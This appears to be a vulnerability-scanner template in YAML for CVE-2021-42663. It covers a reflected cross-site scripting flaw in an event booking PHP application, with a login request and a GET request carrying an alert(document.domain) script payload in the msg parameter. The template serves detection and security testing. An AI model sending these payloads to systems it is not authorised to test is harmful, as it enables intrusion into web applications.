61 lines
2.4 KiB
YAML
61 lines
2.4 KiB
YAML
id: CVE-2021-42663
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info:
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name: Sourcecodester Online Event Booking and Reservation System 2.3.0 - Cross-Site Scripting
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author: fxploit
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severity: medium
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description: |
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Sourcecodester Online Event Booking and Reservation System 2.3.0 contains a cross-site scripting vulnerability in PHP/MySQL via the msg parameter to /event-management/index.php. An attacker can leverage this vulnerability in order to change the visibility of the website. Once the target user clicks on a given link, the content of the HTML code of the attacker's choice displays.
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remediation: |
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To remediate this issue, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts.
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reference:
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- https://github.com/0xDeku/CVE-2021-42663
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- https://www.sourcecodester.com/php/14241/online-event-booking-and-reservation-system-phpmysql.html
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- https://github.com/TheHackingRabbi/CVE-2021-42663
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- https://nvd.nist.gov/vuln/detail/CVE-2021-42663
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
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cvss-score: 4.3
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cve-id: CVE-2021-42663
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cwe-id: CWE-79
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epss-score: 0.00116
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epss-percentile: 0.4521
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cpe: cpe:2.3:a:online_event_booking_and_reservation_system_project:online_event_booking_and_reservation_system:2.3.0:*:*:*:*:*:*:*
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metadata:
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verified: true
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max-request: 2
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vendor: online_event_booking_and_reservation_system_project
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product: online_event_booking_and_reservation_system
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tags: cve,cve2021,xss,online_event_booking_and_reservation_system_project
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http:
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- raw:
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- |
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POST /login.php HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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name={{username}}&pwd={{password}}
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- |
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GET /views/index.php?msg=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
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Host: {{Hostname}}
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host-redirects: true
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max-redirects: 2
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- "</i><script>alert(document.domain)</script></div>"
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- type: word
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part: header
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words:
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- text/html
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- type: status
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status:
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- 200
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# digest: 4b0a00483046022100cc7291d0409aa3ac13f3a01fe695b89ed65729fc84f2b20a2f12afdfa8c62b8c022100da6652ded13876c8087f8611ac33c175b5bc2e63d2d33a760d7150329b91ac40:922c64590222798bb761d5b6d8e72950 |